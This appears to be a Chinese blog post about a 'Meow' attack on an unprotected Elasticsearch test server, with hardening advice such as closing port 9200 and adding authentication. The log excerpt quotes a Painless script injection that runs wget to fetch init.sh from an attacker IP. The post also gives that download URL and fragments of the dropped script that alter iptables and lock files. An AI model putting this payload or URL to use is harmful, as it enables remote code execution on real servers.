Meow攻擊刪除不安全(開放的)的Elasticsearch(及MongoDB) 索引,建一堆以Meow結尾的奇奇怪怪的索引(如:m3egspncll-meow)


 

07月29日,早上一來,照例先連接Elasticsearch查看日志【禁止轉載,by @CoderBaby】,結果,咦,什么情況,相關索引被刪除了(當天正在寫入數據的索引,不能被刪除),產生了一堆以Meow結尾的奇奇怪怪的索引,如下圖:

 

一陣緊張、懵逼,趕緊查看日志,發現如下問題:系統在遠程連接並下載執行一個腳本,如下(慌張):

[2020-07-28T14:02:02,540][DEBUG][o.e.a.s.TransportSearchAction]  [m3egspncll-meow][0], node[CnXg4eVSSd-Wsp_otUjL7A], [P], s[STARTED], a[id=cLeu7vMiSAy6X-45si-50w]: Failed to execute [SearchRequest{searchType=QUERY_THEN_FETCH, indices=[], indicesOptions=IndicesOptions[id=38, ignore_unavailable=false, allow_no_indices=true, expand_wildcards_open=true, expand_wildcards_closed=false, allow_alisases_to_multiple_indices=true, forbid_closed_indices=true], types=[], routing='null', preference='null', requestCache=null, scroll=null, maxConcurrentShardRequests=5, batchedReduceSize=512, preFilterShardSize=128, source={
  "size" : 1,
  "script_fields" : {
    "lupin" : {
      "script" : {
        "source" : "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"wget http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh -P /tmp/sssooo\").getText()",
        "lang" : "painless"
      },
      "ignore_failure" : false
    }
  }
}}] lastShard [true]

 查看整個腳本,可以看到,里面在修改防火牆配置、串改系統安全加固、設置watchdog等等(害怕),腳本部分相關代碼如下(腳本可到:http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh  下載):

    chmod 777 /tmp/networkservice
    chattr +i /tmp/networkservice
    chmod 777 /tmp/sysguard
    chattr +i /tmp/sysguard

iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -I INPUT -s 43.245.222.57 -j DROP
service iptables reload

然后一通google,發現騰訊安全團隊和國外一個安全的哥們已發現此問題,如下(截止7月24日,他們發現已經有1779個Elasticsearch和MongoDB受到攻擊):

可以去作者Twitter賬號(梯子請自備  https://twitter.com/MayhemDayOne?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1286577695946608640%7Ctwgr%5E&ref_url=https%3A%2F%2Fwww.searchenginejournal.com%2Fmeow-attack%2F375764%2F)關注Meow攻擊的后續進展,截止筆者發稿(8月5日),還有最新的進展:

【后續進展】

7月27號,攻擊者會讓受害者轉到一個支付鏈接:

7月28號,有更多的受害者的數據被刪除:

【問題原因】

Elasticsearch默認會對外開放9200端口,便於遠程通過插件(如Elasticsearch-head)訪問和管理。連接到服務器端口的任何個人和組織,就可以通過調用相應的API進行增刪改查。

解決方案

(1)開啟防火牆(service iptables start),或者關閉9200端口(iptables -A INPUT -p tcp --dport 9200 -j DROP),如需開放9200端口,建議在安全組限制只允許指定IP才能訪問

(2)在config/elasticsearch.yml中為9200端口設置認證,相關配置參數可參考:

http.basic.enabled true #啟動認證,開啟會接管全部HTTP連接
http.basic.user "admin" #配置認證賬號
http.basic.password "admin_pw" #配置認證密碼
http.basic.ipwhitelist ["localhost", "127.0.0.1"] #白名單

(3)使用Nginx搭建反向代理,通過配置Nginx實現對Elasticsearch的認證

 參考

(1)https://www.searchenginejournal.com/meow-attack/375764/#close

 

后記

還好本人受攻擊的只是測試服務器上的實驗數據,后面果斷公司賣出的服務器相關Elasticsearch開放端口全部關閉;

之所以被稱為Meow攻擊,是這個攻擊在日志里會留下“Meow”的相關字符,並且創建以“Meow”為結尾的索引,可愛的喵星人,meow...

*******************************************************************************

精力有限,想法太多,專注做好一件事就行

  • 我只是一個程序猿。5年內把代碼寫好,技術博客字字推敲,堅持零拷貝和原創
  • 寫博客的意義在於打磨文筆,訓練邏輯條理性,加深對知識的系統性理解;如果恰好又對別人有點幫助,那真是一件令人開心的事

*******************************************************************************


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM